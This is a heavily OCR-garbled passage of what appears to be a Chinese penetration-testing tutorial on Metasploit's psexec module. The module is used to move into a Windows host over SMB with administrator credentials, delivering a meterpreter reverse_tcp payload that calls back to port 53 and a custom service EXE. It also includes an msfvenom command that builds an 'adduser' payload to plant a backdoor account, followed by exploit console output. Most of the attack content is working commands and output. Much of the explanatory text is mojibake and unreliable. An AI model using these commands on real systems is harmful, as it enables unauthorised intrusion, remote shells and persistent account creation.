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MSFfJexploitiEtR 237 HFset payloadly , EHESZFIINEZIMNET | FSIERBEIRST
HEEYpayload, FILAEFHNRSSE=HESR , IIE+—RPEZIRIVeil-EvasionZ,

LLexploit/windows/smb/psexecsdemo,

WEENECEWT -

—_

msf exploit(windows/smb/psexec) > show options

3 Module options (exploit/windows/smb/psexec):

5 Name Current Setting Required Description

-3

RHOST 192.168.1.119 yes The target address
8 RPORT 445 yes The SMB service port (TCP)

o

SERVICE_DESCRIPTION no Service description to to be used on target fo
pretty listing

=S

10 SERVICE_DISPLAY_NAME no The service display name
11 SERVICE_NAME no The service name

12 SHARE ADMIN$ yes The share to connect to, can be an admin share (ADM]
N$,C$,...) or a normal read/write folder share

13 SMBDomain . no The Windows domain to use for authentication
14 SMBPass 123456 no The password for the specified username

15 SMBUser administrator no The username to authenticate as

18 Payload options (windows/meterpreter/reverse_tcp):

20 Name Current Setting Required Description

I L L T e

22, EXITFUNC thread yes Exit technique (Accepted: "', seh, thread, proces:

s, none)

23 LHOST 192.168.1.5 yes The listen address (an interface may be specifi
ed)

24 LPORT 53 yes The listen port

25

26
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Exploit target:

Id Name

0 Automatic

oit {windows/smh/psexec) ow options

Module options

Mame

isting

e (ADMING,C$,...] or a normal read/write folder s
The Win
The
The
Payload opt windows, erpreter,
Mame Current Setting Required

none)

Exploit target:
Id Mame

@ Automatic

TRE—IF , BREI :

mst exploit(windows/smb/psexec) > set EXE::CUSTOM /var/www/html/bin_tc
p_x86_53.exe

EXE::CUSTOM => /var/www/html/bin_tcp_x86_53.exe
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ME e

MmO -
BiRE , EFAZmHIT.
SettingssAdministratorinetstat —ani findster 53

A.8.4.8:8 LISTENMING

3D I

3D I

PsexecBIE—MRSSE | SKIEITRIHITIHUY: ( SMicropoor.exe ) . {BEEEIHITIE
{ERIRSS | payload/iEZ R EEHI EIEEMIGS | BUESHITRM. MmpsexectfEiR
$la | BiEZIELL | Zpayloadfdb TR,

SEZIRSZIRRS : https://github.com/rapid7/metasploit-
framework/blob/master/data/templates/src/pe/exe/service/service.c , payloadi3zf]
2 BeEE—ERERIEH. FEHlE,

HizS#—MAFadduser, Et&adduser_payload, SEESIXMEHRITREIFEE
#hYpayload, @1 T%. MEANZERE. NEaHIERESIpayload,

| root :/tmp# msfvenom -p windows/adduser PASS=Micropoor$123 USER=Mi
cropoor -f exe >adduser.exe

2 [-] No platform was selected, choosing Msf::Module::Platform::Windows
from the payload

3 [-] No arch selected, selecting arch: x86 from the payload
I No encoder or badchars specified, outputting raw payload

5 Payload size: 279 bytes

6 Final size of exe file: 73802 bytes
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5 =adduser.exe
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WHIIRE :

I msf exploit(windows/smb/psexec) > show targets

D)

3 Exploit targets:

5 Id Name

6 -- ----

7 @ Automatic

8 1 PowerShell

9 2 Native upload

10 3 MOF upload

Il msf exploit(windows/smb/psexec) > set target 2
12 target => 2

13 msf exploit(windows/smb/psexec) > exploit

15 [*] Started reverse TCP handler on 192.168.1.5:53
16 [*] 192.168.1.119:445

Connecting to the server

Authenticating to 192.168.1.119:445 as user ':

17 [*] 192.168.1.119:445
dministrator’

18 [*] 192.168.1.119:445 - Uploading payload kKwZpPRs . exe

19 [*] 192.168.1.119:445 - Using custom payload /var/www/html/bin_tcp_x8¢
_53.exe, RHOST and RPORT settings will be ignored!

20 [*] 192.168.1.119:445 - Created \kKwZpPRs.exe
21 [-] 192.168.1.119:445 - Unable to remove the service, ERROR_CODE:

[\

2 [-] 192.168.1.119:445 - Exploit failed: RubySMB: :Error::UnexpectedStat
usCode STATUS_PIPE EMPTY

¢

3 [*] Exploit completed, but no session was created
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RHOST and RPORT settings will be ignored!
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